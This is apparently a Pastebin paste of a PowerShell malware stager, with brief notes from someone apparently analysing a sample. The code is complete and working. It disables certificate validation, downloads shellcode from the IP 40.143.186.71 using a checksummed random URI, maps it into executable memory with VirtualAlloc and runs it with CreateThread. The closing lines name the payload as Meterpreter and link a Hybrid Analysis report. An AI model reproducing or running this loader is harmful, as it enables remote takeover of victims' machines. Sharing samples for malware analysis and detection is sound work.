Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\" $q = @"
- [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
- [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
- "@
- try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
- function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)}
- function t {$f = "";1..3|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}
- function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
- function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
- [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;
- $m.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");$n = g; [Byte[]] $p = $m.DownloadData("https://40.143.186.71:443/$n" )
- $o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru
- $x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)
- $o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{} \" )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
- drops
- https://www.hybrid-analysis.com/sample/a1261255856961bc9d6b1da7d583e4671196dc3893582f4f1553b381c5d5d5d9?environmentId=100
- https://40.143.186.71/uf4M <- is meterpreter
- https://40.143.186.71/0Yhpk9uqoD7F9sT3n_9cuQ-g9k21qIMu8f4ZwhYAULyAYu/
Add Comment
Please, Sign In to add comment